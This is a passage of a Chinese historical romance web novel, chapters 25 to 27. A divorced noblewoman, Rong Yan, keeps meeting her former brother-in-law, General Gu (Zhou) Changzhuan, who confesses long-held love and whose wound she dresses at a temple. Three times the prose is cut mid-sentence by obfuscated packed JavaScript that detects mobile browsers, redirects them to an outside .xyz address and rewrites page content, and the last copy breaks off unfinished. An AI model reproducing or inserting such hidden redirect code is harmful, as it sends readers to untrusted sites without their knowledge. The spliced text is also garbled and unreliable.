前你说兄……顾将军他对你多有帮助,你便如原来那般待他就好,不要因我而迁怒于他。” 听了这话,容靖才小心翼翼松了口气。 容嫣自回府后数月闭门不出。 顾长颛每次从容府门前经过,一次也未曾碰见容嫣。 过完年后,临近正月十三。 顾长颛把玩着手中刚做好的首饰,是一对简单又精致的金累丝镶绿松石的葫芦耳坠。 整整一日,他都在考虑该如何送出去。 熟料令晋先带来了容嫣的消息。 “这是容大小姐派人送来的,说是让您亲启。”令晋递来一个匣子。 令晋还以为顾长颛听到这个消息会高兴,却不料顾长颛看着那匣子后一脸凝重。 “你出去吧。” “是。” 屋内只剩了顾长颛一人,他缓缓将匣子打开,露出了里面的东西—— 是五件首饰。 是那些年他从北疆亲手做了,派人送回来,以淮王府的名义送去容府,给容府大小姐容嫣的生辰礼物。 匣子中还有一张纸,上面只写了简短的几句话—— 顾将军为心上人所做的首饰,不知中间有何周折给错了人,如今物归原主,风波已停,望将军不再介怀,心向明处,早日觅得良缘。 纸上没有落款,连字迹都有明显的更改掩饰之意,显然是不想让旁人知晓是谁所写。 但顾长颛还是一眼认出这是容嫣亲笔所写。 “令晋。”顾长颛胸口闷疼。 令晋听到传唤进来:“将军有何吩咐?” “你派人去容府一趟,跟她说我要见她一面。” 此刻顾长颛的神色是少有的迫切。 令晋犹豫道:“来送信的人走前说了句,说容小姐三天前就已经南下去冯夫人娘家皖粱城了,听说是要在那久居一段日子呢。” ……她如此匆匆离开,究竟是为和离伤神,亦或是对他避之不及。 顾长颛坐回太师椅,许久,他轻声说了句:“好。” …… 春去秋来,又是一年冬末,容嫣在皖粱城待了整整一年。 “祖母勿怪我没赶回来过年,我实则腊月初几就往回赶了,谁知道半路船坏了,中间又遇上暴雪,便在途中耽搁了半月,紧赶慢赶,这才终于在十五之前赶回来。”容嫣说笑着,把从皖粱城带回来的礼物和皖粱祖母家捎回来的东西分给大家。 二婶道:“昨儿是嫣丫头生辰,该早一日回来。” “不妨事不妨事,今日补上就是了。”容老夫人向容嫣招招手。 容嫣如同之前一般扑进老夫人怀里撒娇。 二婶笑道:“哎呀,我的意思是来不及准备礼物。” “不妨事,你们给我送银子,我也是一样高兴的。”容嫣偎在容老夫人怀里俏皮道。 “我看成,我们还省心给你挑什么称心的礼物。”二婶打趣道。 见女儿一改去年的沉闷,又恢复了先前未出阁那般的欢快性子,旁边冯锦和容肖易夫妻二人对视一眼,眼中都露出欣慰和高兴。 “容靖呢?”容嫣将礼物分了一圈。 “他啊,这一年皮的很,指不定是跑去军营还是书院,又或者去了隔壁……”容成轩话还没说完。 就听外头传来一声:“阿姐!” 容靖今年十岁,短短一年个头窜的很快,已经跟容嫣差不多高了,他飞速窜进厅中。 容嫣抬手抵住他要蹭过来的架势:“你还知道回来,为何今日没在家中等候我归来?” “啊呀,我今日在将军府同长颛哥练枪,一时不查忘了时间,对了……”容靖说着看向身后,“长颛哥今日休沐,正好一同在府中用膳。” 其他几个容府的男人听这话也面色高兴,纷纷出门相迎,显然这一年中,他们同隔壁将军府这个新邻居处的还不错。 容嫣的视线中,厅外的男子穿了一身湛蓝色的长袍,步履稳健的缓行而来。 25. 曾岁寒早芽(一) 不知是不是今日顾长颛衣着风格不同的缘故,同刚从婺州回来时不同,容嫣只觉得他现在身上的威严气场弱了许多。 往日里不苟言笑的一个人,这会儿在院里跟两个堂兄站在一起,像志同道合的好友一般说着话,偶尔薄唇微微上扬,是少有的生动神情。 顾长颛进了厅中,一一对着府中的长辈称呼,随后看到容嫣,他顿了下。 “容大小姐回来了。” 旁边人都察觉到顾长颛称呼的不自然,容二叔笑笑,上前解围,大大方方道:“虽然阿梨在你们淮王府曾有那么一段,但是现在事情已经过去了一年多,且你现在自立封府,承先王妃遗志,改姓为周,我们日后是近邻,那些不愉快的往事渐渐放下吧。” 说罢,容二叔拍了拍容嫣的肩膀:“想必你也知道,我这侄女是不拘小节之人,长颛你也不必太过拘束。” 旁边容三叔也开口道:“你就同叫翩然和玲儿一样,唤嫣儿一声妹妹就好。” 顾长颛颔首,再次看向容嫣,轻唤了声:“嫣儿妹妹。” 容嫣抠紧袖中的手。 “……周将军。”她应声,却还是疏离的语气。 旁边人看出了容嫣的不自在,但也心知毕竟往事在那摆着,不是一时一夕就能忘下的。 容老夫人笑了笑:“你们快招待长颛,来了好一会儿了竟还让人站着。” 看着周围家人对顾长颛的态度,听着祖母的称呼,容嫣心中疑云重重。 晚膳时,容嫣以疲乏为由没去用膳。 府中的管事嬷嬷和几个手脚麻利的丫鬟被老夫人派来明珠阁给容嫣打点。 容嫣似是不经意问道:“周将军何时同府里关系这么亲近了?” 管事嬷嬷帮容嫣将带回来的行李归置妥当,解答道:“大小姐有所不知,自从前年岁末周将军搬来旁边将军府后,同咱们府上的三位大人和三个公子相交甚好。” 另一个丫鬟也搭话:“是啊,周将军这么大的官,但是一点架子也没有,跟大少爷二少爷以兄弟相称,对府中大人和夫人很是客气,对咱们老夫人更是敬重。” “周将军看着不好相与,但是我看他对家中少爷们很是温和啊,靖少爷最爱去将军府了。” “对,起初府中人还估计着周将军曾是……大小姐前姑爷的兄长而有所忌讳,但现在俨然当成了近邻对待。”丫鬟说完,顿觉自己似乎说错了话。 “无碍,你们继续说吧。” 容嫣继续道:“那他为何突然改了姓?” “听说是因为已逝的淮王妃姓周,据说周王妃的娘家周府曾是咱们胤朝的名门,但后来周王妃的父兄都战死沙场,王妃也故去,如今周府门楣日渐衰落,只剩了王妃幼弟的儿子在世,将军现在承王妃遗志改姓为周,还专门派人去周府好生帮周府遗孤重振周府门楣呢。” “当真是有情有义的男子!” “是啊,府中大人对周将军赞不绝口呢。” 听着嬷嬷和丫鬟的解释,容嫣才知道这一年竟然发生了这么多事。 丫鬟们还在讨论周长颛的平易近人。 听到“平易近人”这四个字,容嫣的记忆拉回到一年前,想起王府中那个沉默寡言,不苟言笑,府中人对他多有敬畏的夫兄。 可今天下午,在前厅时,他跟二叔三叔还有两个哥哥说话时,分明是轻轻弯唇笑了下。 跟在王府时不一样。 那时他整日都是黑色锦衣或劲装,也从未像今日这般穿过长袍。 脑海中又浮现起下午顾长颛衣着湛蓝色长袍的模样,色调倒是同他相称,但还是太寡静了些,身上也无任何香囊荷包或者配饰,衬得他越发沉稳内敛,像冷寂冬夜里的雪,沉静又孤寂…… 恍神发觉自己思绪飘远,容嫣微闭了眸子,脑海中的画面被她强行停下。 …… 回府的第二日便是正月十五,繁荣大街上挂满了花灯。 府中堂哥堂嫂还有未出阁的堂妹们要出门看花灯。 容靖也非要拉着容嫣出门,容嫣也很久没在望京看花灯了,便一同去了。 但是没想到刚出门就碰到了顾长颛。 容嫣坐在马车里,听到前头堂哥在跟顾长颛打趣。 “听说陛下让你进宫,长公主府的昭阳郡主没缠着你?竟让你这么快就脱身了。” 容成轩打趣:“大哥你懂什么,咱们周将军心性绝非常人,心中无女人,拔剑自然神,不然又怎么年纪轻轻就成了名镇天下的镇北将军。” 容嫣惊讶于两个堂兄对顾长颛亲近自然的语气,但她更惊讶于顾长颛的态度。 只听顾长颛无奈着笑骂了一句“竖子慎言”,随后两个堂兄哈哈一笑,招呼顾长颛同行。 “我们去繁荣大街看灯,你也一起?” 男人声音温和:“好。” 到了繁华大街,三个男子一起同行,容嫣跟堂嫂和堂妹们一起,她有意避开,同顾长颛只打了个照面,连招呼都没来得及打,容嫣就拉着堂妹混进人群去旁边看灯了。 “怎么人这么多啊!” 繁华大街上的人出奇的多,人流密集。 虽然叮嘱了不要分散了,但是容嫣还是跟堂妹和丫鬟走散了。 无奈,她只好顺着人群继续往前,只等待时机去约好的地方汇合。 容嫣是第一个走回汇合地的,而且很不幸,怕什么来什么,她刚在湖桥旁站了会儿,就见顾长颛出现在了桥头另一侧。 容嫣看着他上了桥,又走下来,走到她面前。 她避无可避。 他站在她面前,发觉容嫣避着他的目光,他顿了下,站定,同容嫣一般看向湖面。 两人没人吭声。 好一会儿,容嫣听到对方主动说了句:“你在这。” “刚才我同你两个堂兄去了旁边的铺子,他们在商量给你准备生辰礼物。”他继续同她说话。 “堂兄要给我惊喜,周将军这般说出来了。”她语气幽幽。 听她终于对她说话,顾长颛侧身,歉意的说了声:“抱歉,我这般说是想着……我也给你准备一份。” 说着,他拿出袖中的物什。 容嫣低头看去,是一枚额前华胜,望京中鲜有女子会佩戴华胜,但容嫣很是喜欢这样打扮,不过这也是嫁人前的事了,他送的首饰,不单单是做工精巧别致,更是每次都能恰到好处戳中她的心思,他竟是如此了解她吗? 看着那熟悉的做工,她没接:“周将军的礼物太贵重,我受不起。” 话说的果决,但她却不敢抬头,不敢去猜测顾长颛此刻的神情是如何。 “周兄,阿梨,你俩在这啊,人太多了,我好不容易挤出来,也不知道她们去哪了。” 容成轩的声音出现在身后,他眼神很好,一眼就看到了顾长颛递到容嫣面前的东西。 容嫣神情闪过一丝慌乱。 好在顾长颛及时解释:“方才听你和成章说要给嫣儿妹妹买生辰贺礼,我总不好当唯一一个空着手的人。” 容成轩看到了容嫣神情中的不自然,只当她还介怀王府的事,他拍拍容嫣的肩膀,低声安抚:“收下吧,周兄的一片心意,阿嫣咱们总得向前看。” 容嫣怕被人看出端倪,心中轻骂了声“二哥知道个屁”,面色自若地从顾长颛手中接过那枚华胜。 道了句“多谢。” 自那晚过后,顾长颛又一连两个月没再有机会见到容嫣,他不敢再轻举妄动。 直到三月三这日,肃帝五十大寿,宫中设宴,四品以上官员及其家眷都来给肃帝贺寿。 容嫣原本不想来的,但是好友相约,她的确也很久没同京中好友会见了。 “阿梨,我有时倒也真的羡慕你。”说话的是户部尚书之女沈梦,是容嫣幼时的玩伴。 大理寺卿之女路徽也出声:“是啊,都说女子和离是不幸之事,可我瞧着阿梨现在倒比在王府时快乐。” 左丞嫡女白浮戈笑道:“哪壶不开提哪壶,那是因为当时阿梨没遇到良人,待日后阿梨遇到良人,说不定更快乐。” 路徽反驳:“那是因为你也嫁得良人才这么说,像我们……唉,也就这么过吧,要是女子能一直不嫁人就好了。” 小亭中,四个好友互相开解闲聊,突然白浮戈指了指远处,掩唇笑:“你们瞧,那不是昭阳郡主,她又在周将军身边了。” 容嫣看去,一眼就看到了不远处的顾长颛,还有他身后的女子,正是曾有过几面之缘的昭阳郡主。 路微探了探头:“听说长公主想让昭阳郡主嫁给周长颛,但是我怎么看这周将军一直态度淡淡,对这昭阳郡主不感兴趣啊。” 沈梦掩唇笑了笑:“这昭阳郡主模样生的蛮好看的,算是个美人了,俗话说女追男隔层纱,我要是男人,被这么个美人天天围着早就心动了,偏偏这周将军是个心性坚韧的,都二十六了,还不急着成婚,我都怀疑……莫非真的同传言那般。” 路微被勾起好奇心:“什么传言?” 听着身边人议论起顾长颛,容嫣下意识不太想听,她低头捻起一块糕点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12146894|123993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞进嘴里。 “听说周长颛是断袖。”沈梦压低了声音。 “咳咳咳咳……咳咳咳咳……”容嫣被糕点呛到了。 白浮戈赶紧给她倒了杯水:“怎么这么不小心,赶紧喝口水压压。” “真的假的,你别乱说!”路微无语。 沈梦瘪瘪嘴:“都是这么传言的,不然他一个二十六岁的大男人,干嘛至今不娶,听说他院里连个丫鬟都没有,府里的老鼠都全是公的,不信你问问阿梨,好歹周长颛曾是阿梨的夫兄,阿梨你应当知道些。” 听到那句“老鼠都是公的”,容嫣满头黑线:“越传越离谱了,传言不可信。” “好吧。”沈梦遗憾。 不远处,昭阳郡主的动静不算小,容嫣她们待的小亭刚好能听到投壶那处的说笑声。 “周将军,听说你武功厉害,你能不能教教我投壶。” “我不会。” “周将军,过几日是我生辰。”昭阳郡主眼巴巴看着顾长颛。 顾长颛莫名其妙看了她一眼。 “我觉得那彩头就不错,你能不能投中了送给我,当我的生辰礼物。” “不会投。” 昭阳郡主身为长公主的女儿,素来备受宠爱,哪里受过这份委屈,每次顾长颛都是这个态度,今天她终于受不了这份委屈,气跑了。 没一会儿,知道这事的长公主来兴师问罪:“都说周将军行事妥帖周到,是个端方有礼的君子,我看也是虚名,把一个女孩子气跑了,竟还毫无负担的在此处闲聊。” 其实起初顾长颛待那昭阳郡主还是婉拒,但他发觉对方似乎压根儿不明白他的意思,甚至好几次曲解了他的话,他想一定是自己不够直白。 可现在看来,那昭阳郡主年纪轻不懂人情世故也就罢了,长公主总不会不懂。 顾长颛看过去,声音淡漠:“人跑丢了就去找,不知长公主来寻我是何意?” “你!”长公主气滞,“你好歹帮着去找找,你这个态度,真是太过分了。” “我前日不小心伤了手臂,无法去寻,”顾长颛说着,看向宫中的侍卫,“劳驾,帮长公主去寻人吧。” 长公主也被气走了。 “哈哈哈哈哈阿梨,你这前夫兄还挺会气人。”沈梦掩唇笑着。 “是啊,连公主的面子都不给,哈哈哈哈哈,先前只看到长公主趾高气扬同别人说话,还是第一次看到她吃瘪呢。” 刚才的事情自然也落到了容嫣的视线中,她心中五味杂陈。 宫宴一直到晚上,夜宴开席,容嫣中途去更衣。 “周将军,听说你受伤了,这是最好的伤药。” “我并未受伤。” “可是……” 隔着假山,容嫣听到了旁边灯笼下的声音。 顾长颛语气冷漠:“我心中已有心慕之人,我对郡主你无意。” 接着,旁边传来脚步声,应当是顾长颛走了,只剩昭阳郡主在小声啜泣。 容嫣叹了口气,听旁边没了动静,她准备绕过假山出去。 “都听到了?” 声音突然出现在身后,容嫣吓了一跳,捂住胸口。 顾长颛不知何时站到了假山后,他似乎喝了点酒,脸颊微红,语调也有些含糊,目光不加掩饰的直视她。 容嫣避开他的视线,转身要走,对方上前一步,站在了路上,挡住了她的路。 他语调沉沉:“你要避我到何时?” 的确,容嫣一直在避着他,只要他去容府,她都会想办法同他避开。 被挡住去路,容嫣语气微恼:“将军难道以为听了那样的话,我同您还能自若共处?” 顾长颛闭了闭眸子:“容嫣,给我个痛快吧,我只想知道,若是没有之前你和长颢的关系,你是否会对我有意?” 一年前她留下一封字条后就离开了望京城,可现在他还是不甘心,想听她亲口说。 “我对将军无意,从前只把将军当兄长,今后也绝不会对将军有任何非分之想。” 容嫣的语气太决绝了,一如刚才顾长颛拒绝别人时那般。 “请将军收回此物,以后也不要再让人为难,将军的这份心意,我当真消受不起。”容嫣拿出那枚华胜,还给顾长颛。 虽然早已知道答案,但亲耳听到她这般拒绝的话,心口如刀子剜心般剧痛。 当初他对她直言心意,就是为的用他这份肮脏的心思逼她和离,当初她果断和离,对他避之不及,定是对他这份私藏的心思恶心极了。 26. 曾岁寒早芽(二) 自那夜宫宴后,容嫣有段日子没再听到顾长颛的动向,前几个月他还偶尔来容府,近来不曾再登府。 看来那晚的话,他真的听进心里去了。 容嫣这一年来绷紧的心弦松了下来,她心知顾长颛有自己的傲气,她都那般说了,任凭他如何心意也都该放下了。 可不知为何,心底悄然漫上来一股酸涩。 容嫣强镇精神将这份不舒服压下去,不再去想……任凭心里诸多疑问翻涌着,她都保持清醒告诫自己,不该去想。 这日,容府突然有人来说亲。 说亲对象是容嫣。 对方是安伯侯府的长子卢修,听说卢修发妻在三年前病故,给卢修留下了一子一女。 其实这一年间曾有好几家来容府有意给容嫣说亲,但对方要么年龄太大,要么性子顽劣,要么是做继室填房,容肖易都极不满意,有几次甚至无语到把来说媒的人给骂了出去。 在容肖易心里,他的宝贝女儿天下第一好,应当配个顶好的男子,但上门都是癞蛤蟆,现实太叫他失望,失望久了渐渐就拉低了预期。 如今卢修来说亲,容肖易竟有些心动,他将此事告诉容嫣,旁敲侧击:“听说这卢修人品不错,发妻去世三年后才再找,我问过了,他府中无通房和妾室,而且我也见过他,此子生的样貌不错。” 容嫣没好气:“爹爹就这般盼着我嫁出去?我才从皖梁回来不久。” 听女儿这般控诉,容肖易赶紧讨饶:“是爹爹不好,我这不寻思这卢修长得不错……” 见容肖易卑微如此,容嫣笑出声:“好了爹,我逗你的,我也听闻这卢修是个不错的,不过我从未见过他,我可以同他接触几次,若是合适,我会考虑的。” 听容嫣这么说,容肖易松了口气。 冯氏给容嫣梳着头发,也解释道:“阿梨,爹和娘不是嫌弃你,也不是盼着你出嫁,只是我们有时候想,我们总是会老,没法陪你一辈子,比起你一辈子孤单,我们更希望你遇到良人,一个能同你情投意合,彼此托付的良人。” 旁边容肖易补充:“你娘说的对,不过若是一直遇不到良人,你一辈子不嫁,爹也能养得起你,所以你也不用为了嫁人而嫁人,你不需要委曲求全,爹这么努力,就是为了你一辈子开心,若是你受了委屈,爹这努力就都白费了。” 闻言,容嫣靠在容肖易和冯氏中间,轻轻应声:“爹和娘不用担心我,我知道的,我不会委屈了自己。” - 许是年纪大了,容老夫人这两年身子不太好,时常生病,这次病了许久不见好。 府中人急得团团转,容肖易甚至从宫里请来了太医诊治,连太医都束手无策,只说老夫人年纪大了,有可能挺不过去。 容嫣也心急如焚。 老三容肖辞突然想起:“我记得五年前有个温大夫来给母亲看病,当时那大夫虽看似年轻,但有些本事在身上,那时太医也说母亲的病不好说,可那大夫偏偏就把母亲从鬼门关拉了回来。” 容嫣也忽得想起这茬,不等大家说什么,她开口道:“我去请那大夫来。” “可……”二婶有些顾虑,“当时那温大夫是淮王府前姑爷请来的。” “祖母的病要紧,我去一趟。”容嫣也顾不得什么,她急急忙忙去了淮王府。 路上容嫣都想好会被徐侧妃如何刁难,也庆幸如今顾长颢不在京中。 可到了淮王府,还没等见到徐侧妃的面,就听王府下人说温大夫早就不在淮王府了。 她也是今日才知道,温大夫一直都是顾长颛的人,也知道了因为顾长颛改姓周一事惹得徐侧妃生了好大一场气,甚至指着顾长颛的鼻子骂“不孝子”以及诸多难听的话,之后顾长颛再未回过淮王府,算是母子决裂了。 知道温大夫是顾长颛的人,容嫣竟然松了口气,连她也不知道为何,她就是觉得他一定会帮忙。 那些在淮王府的日子又一点点浮现在记忆里,他对她的种种……一切都有迹可循,只是她现在才后知后觉。 夜宴上那些绝情话反反复复在脑海中浮现。 容嫣抬手,用手背轻轻盖住眼眸。 …… “大人刚才去了将军府,周将军一月前去西南平叛乱,那温大夫也随行去了。”丫鬟来禀。 见容嫣着急,丫鬟又解释:“大人已经飞鸽传书寄了快信去,只盼着温大夫能早些回来。” 十日后,温大夫出现在容府,比容嫣预想的还要快了几日。 容老夫人的松鹤居中,风尘仆仆归来的温康在给老夫人施针,如容老三所说,他虽面庞瞧着年轻,但手法无比娴熟,面色沉稳,看着胸有成竹的样子。 半个时辰后,温康从屋中出来。 “老夫人年纪大了,这次是染了风寒,老年人有涎痰咳不出,这涎痰就积聚在肺腑中,时间久了攒的越多,就怕一口涎痰上不来,我给老夫人施针,再配上汤药,这般治上十日,看看能否见效。” 温康解释的很清楚。 “若老夫人有咳涎痰时,你们需要这样拍她的背,帮她把肺腑中的涎痰震出来。”他边说着,边跟伺候的丫鬟婆子比划。 大家赶紧对温康道谢。 “温大夫一路奔波,不曾休息就来为我母亲诊治,实在是万分感激,”容肖易最敬重医者,他吩咐下人,“快些准备干净衣裳和吃食。” 温康面上不显,但在心中嘀咕:这一路快马加鞭,腚都快颠成八瓣了,幸好赶上了,要是老夫人有个不好,将军肯定拿他问罪。 晚上,休息好的温康又来给老夫人施针,忙完看到容嫣,微微颔首,唤了声:“容大小姐。” “多谢温大夫。” 温康对容嫣一如之前,他摆手:“都是将军吩咐的,容大小姐不必客气。” “我有件些事情想问温大夫。” “您但说无妨。” “五年前祖母病重,也是温大夫来给祖母看诊,那时……可也是周将军吩咐温大夫的?” 听这话,温康一愣,随即点点头:“是。” 容嫣心如同在水中飘摇的孤舟,虽然已经猜到了,但真正听到确切答案,她的心还是忽悠悠狠晃了一下。 “温大夫此前是赤统大军的医官?” 温康摇头:“我们温家最早受周府恩惠,后来为报恩便一直跟着周王妃,王妃去世后我就跟着将军了,我不算军中医官,只听将军差遣。” 她在府中的那三年,温康一直在淮王府。 容嫣点点头:“辛苦温大夫了,早些休息吧。” 温康抬头看了眼容嫣,他看出她似乎还有话想问,但不知道为何又没问出来。 他突然有些好奇,将军已经搅得容大小姐跟二公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12159716|123993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子和离了,如今将军和这容大小姐到底进展到哪里了? 但给他十个胆子,他也不敢问。 容老夫人的病渐渐好起来,冯锦此前为求佛祖保佑老夫人安康曾来伽蓝寺祈福,如今容老夫人病好,她便带着容嫣来伽蓝寺还愿。 夜深人静时,孝贤殿中烛火还亮着,是容嫣还在跪拜,她在祈求佛祖保佑祖母身体安康,长命百岁。 “吱吖”一声,身后的门被轻推开。 容嫣听到动静,睁开眸子,回头看去。 四目相对,室内静谧。 “我昨日回京的,父王病重,我来看他……夜里睡不着,便来殿中给母妃祈福,”顾长颛解释了几句,似是怕她多想,随后才缓缓走上前来,他跪在一侧,又解释了句,“我不知你在这儿,是巧了。” 容嫣压下胸口的那阵颤动,只嗯了声。 两人并肩跪在佛像前,俯首阖眸,像是罪错什么事的信徒在祈求佛祖原谅。 过了好一会儿,这次是容嫣先开口:“周将军的手臂受伤了。” 顾长颛进门后她就注意到了,他的右侧手臂被白色布带缠着,虽然有大氅遮盖着,但是那白色布带还是露出来了一角。 顾长颛睁开眸子,低头看向自己的右肩。 “祖母的事,还要多谢将军。” “无妨,不用道谢。” “这次,还有五年前那次,都要谢你。” 闻言,顾长颛侧头,他眸光毫不掩饰的落在身旁女子的侧脸上。 感受到身旁传来的目光,容嫣微闭的睫毛轻轻颤了颤。 又过了好一会儿,容嫣缓缓站起身。 “夜深了,我先回去了。” 出门前,她还是没忍住又多说了句:“将军肩上的伤口似乎伤的很深,还是尽快再处理一番才好。” 那白色布带缠在戎装外面,包扎随意,上面还有血迹渗出来,一看就是未好好处理过伤口。 “好。” 容嫣走出殿门,回禅房的途中经过寺中医堂,医堂的灯已经灭了,这个时辰,寺里的人都睡下了。 孝贤殿中,顾长颛换了个姿势靠坐在案前,他将身上的大氅解开丢在一旁,右侧手臂疼痛难忍。 数日前听到父王病重的消息,他一路骑马往回赶,途中伤口又崩开,来不及好好包扎,他只随意找了个布带暂且缠了一番,先把血止住。 他低头看去,不知道什么时候血又渗出来了。 想到她刚才突然的关心,顾长颛竟觉得痛感少了几分。 只是这会儿手臂发胀,怕是真的要感染了。 左手去够右肩,顾长颛皱着眉头将布条解开,又将里面的黑色上衣完全脱掉,露出健壮有力的背脊,衣服布料从受伤处皮肤上撕下来时不小心又扯到伤口,鲜血顺着手臂留下来。 伤口果然已经发红了。 他一声未吭,只把随身携带的药粉全都倒在伤口上,随后他又将白色里衣撕开,打算先将就着把伤口包扎,等明日白天再医治。 他咬住白色里衣,左手用力,刚撕下一条布条。 殿门又被打开。 “医堂没人了,先用这些药和敷料……” 殿门大开,去而复返的容嫣站在殿门前,她手里拿着白色干净布条和伤药,望着殿内赤着半身靠在草席上的受伤男子,她声音戛然而止。 27. 曾岁寒早芽(三) 比起容嫣,殿里的人似乎更慌乱无措些。 顾长颛甚至都来不及包扎伤口,他随手拿起旁边的外衣正准备草草套上,但是动作一大又扯到了伤口,他闷哼一声。 平日里那个端方稳重的将军,这会儿因为着急忙乱地连衣服袖子都套不上,颇有些狼狈。 容嫣稳了稳心神。 “先将伤口包扎一下再穿吧,你这样扯到伤口会更重的。”她克制着语气,让自己尽可能坦然自若些。 刚才他的动作又扯到了伤口,鲜血顺着手臂蜿蜒流下来一股,看的人心惊。 容嫣皱眉,她走进来,跪坐在顾长颛身侧,手脚麻利的快速把手中的干净帕子摁在伤口上压迫止血。 她听到顾长颛轻闷哼了一声。 “会有些疼,你且忍一下。” 顾长颛没曾想她会这么坦坦荡荡地走进来,还会给他处理伤口。 他出声:“无妨。” 容嫣又加重了些手上的力道。 顾长颛疼的额角青筋跳了一下,但他这次没让自己出声,他侧头看向身边的容嫣,见她目不斜视,大方坦荡地替他处理伤口。 比起他的慌乱,她看上去面色平常,并无一丝波澜。 可就是这样,顾长颛竟也在心田的苦涩中品出一丝甜来。 摁了好一会,容嫣感觉伤口的出血速度慢下来,她轻轻揭开帕子,仔细看那伤口。 她轻轻吸了口气,竟然伤的这么深,伤口也发红了,她眉心不受控制的微蹙了一下。 顾长颛察觉到了她这一瞬的情绪变化,又觉得是自己看错了,她怎么会担心他呢? 容嫣拿起清洗伤口的药水,将伤口简单冲了一下,然后拿出金疮药倒在伤口上,处理完伤口,她拿出手里的干净布条,抬手将肩膀上的伤口缠住。 顾长颛受伤的地方在肩头,需要绕过身体才能更好的固定。 饶是容嫣再故作镇定,可抬头看到那一大片暴露在眼前的皮肤时,她还是没忍住面色发热。 好在她绕到了他的身后,他看不到她的脸。 “好了。” 再站起身时,容嫣的神色又恢复如常。 “多谢。” “将军客气了,温大夫提前归京为我祖母医治,若是有温大夫在,将军的伤想必不会耽误了。” 听她如此解释,顾长颛知道她是出于感谢才帮自己,刚才那些心生的旖旎消散了大半。 他拿起旁边的衣裳,里衣已经被他撕碎,没法穿了,他将外衣套上。 就这样当年看着他穿外衣,莫名怪异,容嫣轻轻别开头。 衣裳穿好,顾长颛将地上残留的东西收拾好。 “你还会包扎?包扎的很好。”他有意无意闲聊,想要化解刚才的窘迫。 “之前跟老师四处游历,他偶尔会去一些危险的地方探索,有时受了伤,都是我给他处理的。” 容嫣说的是廖之先生。 “你跟了廖之先生四年?” 顾长颛之前就曾提起过她是老师的学生,那时她就曾好奇他为何会知道这事,如今他又大致说对了她跟着老师的年岁…… 想问,但不敢问,也不能问。 “嗯,其实不太到四年,老师去世太突然了。”容嫣说起这话时,话里是无尽的遗憾。 容嫣十岁拜入廖之先生门下,一年中有大半年都在外游历,跟着廖之先生的那几年,是容嫣最恣意洒脱的时光,只可惜因为一场重病,廖之先生突然辞世。 光是想到这事,容嫣眼眶微红。 似是察觉到她的情绪,顾长颛语气放的更缓了些:“那时我受了重伤,没能让温康及时赶回来。” 听出他语气里竟带了些自责。 容嫣抬头,她怔怔看着顾长颛,心里有太多的话想问。 察觉到容嫣的目光,顾长颛怕从那视线中看到反感和厌恶,他垂下眼眸,避开她的视线。 她还是把话问了出来:“……重伤,是那次被长矛刺伤吗?” 抬头看到顾长颛投来的视线,容嫣又多解释了句:“是之前你因吐血回府养伤时,温大夫曾提过。” 其实顾长颛受重伤这事,容嫣很早就知道了,只是她那时没想到是被长矛刺穿这么重。 夜色静谧,烛火摇曳,容嫣这会儿跪坐在他身侧,不知为何,今晚她躲避之意没那么明显,甚至有兴致同他说话。 顾长颛抬头,这次他没看错,他竟然真的在她眸中看到了……担忧。 他也不知为何,想到她对自己的心意避之不及,他只觉得心头涌上酸楚。 “……我比长颢要更早爱慕你。”他素来平静的语气里克制不住多了些委屈之意。 “你那时年幼,想必已经忘了我们曾在这里见过,可十年前就在这伽蓝寺的英灵殿中,我们真的见过。” 容嫣抬眼看去,烛火明灭交错,灯影落在男人身上,多了些颓丧之意。 她又没克制住,轻声问:“所以那时你就对我起意了?” 闻声,顾长颛轻轻摇头,随后轻弯了弯唇角,解释道:“你那时才九岁,我对一个小孩动情,岂不是不正常。” 听他这话,容嫣悄悄噘了下嘴。 顾长颛没注意到她这一闪而过的神态,继续解释:“那时父王刚出家,他将府中事务都托付于我,其中就有祖父那一辈跟容府约定的婚事。” “所以你对我并非儿女感情,是一份对所托之事的执念。”容嫣出声。 见她误会了,顾长颛继续解释:“那次在伽蓝寺见你,我虽不至于对一个小孩子动情,但……也不知为何,我会常常想起你,甚至后来我都快不记得你的容貌了,但就只是想着……我虽不在望京,可我见过你的样貌,虽然只是画像……你长大了,拜入了廖之先生门下,你以玄梨为名做词写书,容嫣,你真的太耀眼了,就在获取你消息的日子里,我开始在不知不觉中憧憬着归城,盼着见到你,盼着向你表白心迹,盼着亲口问一问你是不是还记得我,盼着问一问你是否会喜欢我这样的男子……” 这是容嫣第一次听他说这么多话。 那些她不敢问的,被他直白的剖开心展示在她面前。 他甚至知道她就是玄梨。 连爹爹和娘亲至今都没能猜出此事,他竟如何得知? 他靠在供奉神像的案台上,他低头没看她,垂着眸低低陈诉着心意,一字一句都像梵文一样烙在她心上,松动着心口的枷锁。 “莫要再说了。”容嫣出声将顾长颛的话打断。 她起身,迅速背过身去,逃一般地快步离开。 望着容嫣远去的背影,顾长颛嘴角漫上苦涩,眼眶泛了红。 何时喜欢上她的,他自己也说不清道不明,个中感情变化早就融在那无尽寒冷的边疆岁月里,只是想着她,日子就有了暖意。 容嫣一夜未眠,黎明之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 